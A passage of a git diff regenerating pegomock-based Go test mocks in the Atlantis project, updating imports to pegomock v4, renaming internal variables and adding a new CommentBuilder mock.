c.GetAllCapturedArguments() + return repoDir[len(repoDir)-1], ctx[len(ctx)-1] +} + +func (c *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification { + _params := []pegomock.Param{repoDir, ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidateImportProject", _params, verifier.timeout) + return &MockCommandRequirementHandler_ValidateImportProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommandRequirementHandler_ValidateImportProject_OngoingVerification struct { + mock *MockCommandRequirementHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) { + repoDir, ctx := c.GetAllCapturedArguments() + return repoDir[len(repoDir)-1], ctx[len(ctx)-1] +} + +func (c *MockCommandRequirementHandler_ValidateImportProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification { + _params := []pegomock.Param{repoDir, ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidatePlanProject", _params, verifier.timeout) + return &MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification struct { + mock *MockCommandRequirementHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) { + repoDir, ctx := c.GetAllCapturedArguments() + return repoDir[len(repoDir)-1], ctx[len(ctx)-1] +} + +func (c *MockCommandRequirementHandler_ValidatePlanProject_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidateProjectDependencies", _params, verifier.timeout) + return &MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification struct { + mock *MockCommandRequirementHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification) GetCapturedArguments() command.ProjectContext { + ctx := c.GetAllCapturedArguments() + return ctx[len(ctx)-1] +} + +func (c *MockCommandRequirementHandler_ValidateProjectDependencies_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + } + return +} diff --git a/server/events/mocks/mock_command_runner.go b/server/events/mocks/mock_command_runner.go index 5db33e70dc..b7be22a76b 100644 --- a/server/events/mocks/mock_command_runner.go +++ b/server/events/mocks/mock_command_runner.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" models "github.com/runatlantis/atlantis/server/events/models" "reflect" @@ -26,20 +26,20 @@ func NewMockCommandRunner(options ...pegomock.Option) *MockCommandRunner { func (mock *MockCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) { +func (mock *MockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRunner().") } - params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd} - pegomock.GetGenericMockFrom(mock).Invoke("RunCommentCommand", params, []reflect.Type{}) + _params := []pegomock.Param{baseRepo, headRepo, pull, user} + pegomock.GetGenericMockFrom(mock).Invoke("RunAutoplanCommand", _params, []reflect.Type{}) } -func (mock *MockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) { +func (mock *MockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommandRunner().") } - params := []pegomock.Param{baseRepo, headRepo, pull, user} - pegomock.GetGenericMockFrom(mock).Invoke("RunAutoplanCommand", params, []reflect.Type{}) + _params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd} + pegomock.GetGenericMockFrom(mock).Invoke("RunCommentCommand", _params, []reflect.Type{}) } func (mock *MockCommandRunner) VerifyWasCalledOnce() *VerifierMockCommandRunner { @@ -49,14 +49,14 @@ func (mock *MockCommandRunner) VerifyWasCalledOnce() *VerifierMockCommandRunner } } -func (mock *MockCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockCommandRunner { +func (mock *MockCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommandRunner { return &VerifierMockCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommandRunner { +func (mock *MockCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommandRunner { return &VerifierMockCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -64,7 +64,7 @@ func (mock *MockCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher peg } } -func (mock *MockCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockCommandRunner { +func (mock *MockCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommandRunner { return &VerifierMockCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -74,92 +74,112 @@ func (mock *MockCommandRunner) VerifyWasCalledEventually(invocationCountMatcher type VerifierMockCommandRunner struct { mock *MockCommandRunner - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) *MockCommandRunner_RunCommentCommand_OngoingVerification { - params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommentCommand", params, verifier.timeout) - return &MockCommandRunner_RunCommentCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) *MockCommandRunner_RunAutoplanCommand_OngoingVerification { + _params := []pegomock.Param{baseRepo, headRepo, pull, user} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunAutoplanCommand", _params, verifier.timeout) + return &MockCommandRunner_RunAutoplanCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockCommandRunner_RunCommentCommand_OngoingVerification struct { +type MockCommandRunner_RunAutoplanCommand_OngoingVerification struct { mock *MockCommandRunner methodInvocations []pegomock.MethodInvocation } -func (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetCapturedArguments() (models.Repo, *models.Repo, *models.PullRequest, models.User, int, *events.CommentCommand) { - baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd := c.GetAllCapturedArguments() - return baseRepo[len(baseRepo)-1], maybeHeadRepo[len(maybeHeadRepo)-1], maybePull[len(maybePull)-1], user[len(user)-1], pullNum[len(pullNum)-1], cmd[len(cmd)-1] +func (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetCapturedArguments() (models.Repo, models.Repo, models.PullRequest, models.User) { + baseRepo, headRepo, pull, user := c.GetAllCapturedArguments() + return baseRepo[len(baseRepo)-1], headRepo[len(headRepo)-1], pull[len(pull)-1], user[len(user)-1] } -func (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []*models.Repo, _param2 []*models.PullRequest, _param3 []models.User, _param4 []int, _param5 []*events.CommentCommand) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) - } - _param1 = make([]*models.Repo, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(*models.Repo) - } - _param2 = make([]*models.PullRequest, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(*models.PullRequest) +func (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.User) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } } - _param3 = make([]models.User, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(models.User) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param4 = make([]int, len(c.methodInvocations)) - for u, param := range params[4] { - _param4[u] = param.(int) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param5 = make([]*events.CommentCommand, len(c.methodInvocations)) - for u, param := range params[5] { - _param5[u] = param.(*events.CommentCommand) + if len(_params) > 3 { + _param3 = make([]models.User, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(models.User) + } } } return } -func (verifier *VerifierMockCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) *MockCommandRunner_RunAutoplanCommand_OngoingVerification { - params := []pegomock.Param{baseRepo, headRepo, pull, user} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunAutoplanCommand", params, verifier.timeout) - return &MockCommandRunner_RunAutoplanCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *events.CommentCommand) *MockCommandRunner_RunCommentCommand_OngoingVerification { + _params := []pegomock.Param{baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommentCommand", _params, verifier.timeout) + return &MockCommandRunner_RunCommentCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockCommandRunner_RunAutoplanCommand_OngoingVerification struct { +type MockCommandRunner_RunCommentCommand_OngoingVerification struct { mock *MockCommandRunner methodInvocations []pegomock.MethodInvocation } -func (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetCapturedArguments() (models.Repo, models.Repo, models.PullRequest, models.User) { - baseRepo, headRepo, pull, user := c.GetAllCapturedArguments() - return baseRepo[len(baseRepo)-1], headRepo[len(headRepo)-1], pull[len(pull)-1], user[len(user)-1] +func (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetCapturedArguments() (models.Repo, *models.Repo, *models.PullRequest, models.User, int, *events.CommentCommand) { + baseRepo, maybeHeadRepo, maybePull, user, pullNum, cmd := c.GetAllCapturedArguments() + return baseRepo[len(baseRepo)-1], maybeHeadRepo[len(maybeHeadRepo)-1], maybePull[len(maybePull)-1], user[len(user)-1], pullNum[len(pullNum)-1], cmd[len(cmd)-1] } -func (c *MockCommandRunner_RunAutoplanCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.User) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockCommandRunner_RunCommentCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []*models.Repo, _param2 []*models.PullRequest, _param3 []models.User, _param4 []int, _param5 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } + } + if len(_params) > 1 { + _param1 = make([]*models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]*models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(*models.PullRequest) + } } - _param1 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.Repo) + if len(_params) > 3 { + _param3 = make([]models.User, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(models.User) + } } - _param2 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.PullRequest) + if len(_params) > 4 { + _param4 = make([]int, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(int) + } } - _param3 = make([]models.User, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(models.User) + if len(_params) > 5 { + _param5 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(*events.CommentCommand) + } } } return diff --git a/server/events/mocks/mock_comment_building.go b/server/events/mocks/mock_comment_building.go new file mode 100644 index 0000000000..b340a09969 --- /dev/null +++ b/server/events/mocks/mock_comment_building.go @@ -0,0 +1,248 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: CommentBuilder) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockCommentBuilder struct { + fail func(message string, callerSkip ...int) +} + +func NewMockCommentBuilder(options ...pegomock.Option) *MockCommentBuilder { + mock := &MockCommentBuilder{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockCommentBuilder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockCommentBuilder) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockCommentBuilder) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommentBuilder().") + } + _params := []pegomock.Param{repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApplyComment", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) + var _ret0 string + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + } + return _ret0 +} + +func (mock *MockCommentBuilder) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommentBuilder().") + } + _params := []pegomock.Param{repoRelDir, workspace, project} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApprovePoliciesComment", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) + var _ret0 string + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + } + return _ret0 +} + +func (mock *MockCommentBuilder) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommentBuilder().") + } + _params := []pegomock.Param{repoRelDir, workspace, project, commentArgs} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildPlanComment", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) + var _ret0 string + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + } + return _ret0 +} + +func (mock *MockCommentBuilder) VerifyWasCalledOnce() *VerifierMockCommentBuilder { + return &VerifierMockCommentBuilder{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockCommentBuilder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommentBuilder { + return &VerifierMockCommentBuilder{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockCommentBuilder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommentBuilder { + return &VerifierMockCommentBuilder{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockCommentBuilder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommentBuilder { + return &VerifierMockCommentBuilder{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockCommentBuilder struct { + mock *MockCommentBuilder + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockCommentBuilder) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) *MockCommentBuilder_BuildApplyComment_OngoingVerification { + _params := []pegomock.Param{repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApplyComment", _params, verifier.timeout) + return &MockCommentBuilder_BuildApplyComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommentBuilder_BuildApplyComment_OngoingVerification struct { + mock *MockCommentBuilder + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommentBuilder_BuildApplyComment_OngoingVerification) GetCapturedArguments() (string, string, string, bool, string) { + repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod := c.GetAllCapturedArguments() + return repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1], autoMergeDisabled[len(autoMergeDisabled)-1], autoMergeMethod[len(autoMergeMethod)-1] +} + +func (c *MockCommentBuilder_BuildApplyComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string, _param3 []bool, _param4 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([]bool, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(bool) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockCommentBuilder) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification { + _params := []pegomock.Param{repoRelDir, workspace, project} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApprovePoliciesComment", _params, verifier.timeout) + return &MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification struct { + mock *MockCommentBuilder + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification) GetCapturedArguments() (string, string, string) { + repoRelDir, workspace, project := c.GetAllCapturedArguments() + return repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1] +} + +func (c *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockCommentBuilder) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) *MockCommentBuilder_BuildPlanComment_OngoingVerification { + _params := []pegomock.Param{repoRelDir, workspace, project, commentArgs} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildPlanComment", _params, verifier.timeout) + return &MockCommentBuilder_BuildPlanComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommentBuilder_BuildPlanComment_OngoingVerification struct { + mock *MockCommentBuilder + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommentBuilder_BuildPlanComment_OngoingVerification) GetCapturedArguments() (string, string, string, []string) { + repoRelDir, workspace, project, commentArgs := c.GetAllCapturedArguments() + return repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1], commentArgs[len(commentArgs)-1] +} + +func (c *MockCommentBuilder_BuildPlanComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string, _param3 [][]string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.([]string) + } + } + } + return +} diff --git a/server/events/mocks/mock_comment_parsing.go b/server/events/mocks/mock_comment_parsing.go index 4522ec38ea..238b5e0633 100644 --- a/server/events/mocks/mock_comment_parsing.go +++ b/server/events/mocks/mock_comment_parsing.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" models "github.com/runatlantis/atlantis/server/events/models" "reflect" @@ -30,15 +30,15 @@ func (mock *MockCommentParsing) Parse(comment string, vcsHost models.VCSHostType if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommentParsing().") } - params := []pegomock.Param{comment, vcsHost} - result := pegomock.GetGenericMockFrom(mock).Invoke("Parse", params, []reflect.Type{reflect.TypeOf((*events.CommentParseResult)(nil)).Elem()}) - var ret0 events.CommentParseResult - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(events.CommentParseResult) + _params := []pegomock.Param{comment, vcsHost} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Parse", _params, []reflect.Type{reflect.TypeOf((*events.CommentParseResult)(nil)).Elem()}) + var _ret0 events.CommentParseResult + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(events.CommentParseResult) } } - return ret0 + return _ret0 } func (mock *MockCommentParsing) VerifyWasCalledOnce() *VerifierMockCommentParsing { @@ -48,14 +48,14 @@ func (mock *MockCommentParsing) VerifyWasCalledOnce() *VerifierMockCommentParsin } } -func (mock *MockCommentParsing) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockCommentParsing { +func (mock *MockCommentParsing) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommentParsing { return &VerifierMockCommentParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockCommentParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommentParsing { +func (mock *MockCommentParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommentParsing { return &VerifierMockCommentParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -63,7 +63,7 @@ func (mock *MockCommentParsing) VerifyWasCalledInOrder(invocationCountMatcher pe } } -func (mock *MockCommentParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockCommentParsing { +func (mock *MockCommentParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommentParsing { return &VerifierMockCommentParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -73,14 +73,14 @@ func (mock *MockCommentParsing) VerifyWasCalledEventually(invocationCountMatcher type VerifierMockCommentParsing struct { mock *MockCommentParsing - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCommentParsing) Parse(comment string, vcsHost models.VCSHostType) *MockCommentParsing_Parse_OngoingVerification { - params := []pegomock.Param{comment, vcsHost} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Parse", params, verifier.timeout) + _params := []pegomock.Param{comment, vcsHost} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Parse", _params, verifier.timeout) return &MockCommentParsing_Parse_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -95,15 +95,19 @@ func (c *MockCommentParsing_Parse_OngoingVerification) GetCapturedArguments() (s } func (c *MockCommentParsing_Parse_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []models.VCSHostType) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } - _param1 = make([]models.VCSHostType, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.VCSHostType) + if len(_params) > 1 { + _param1 = 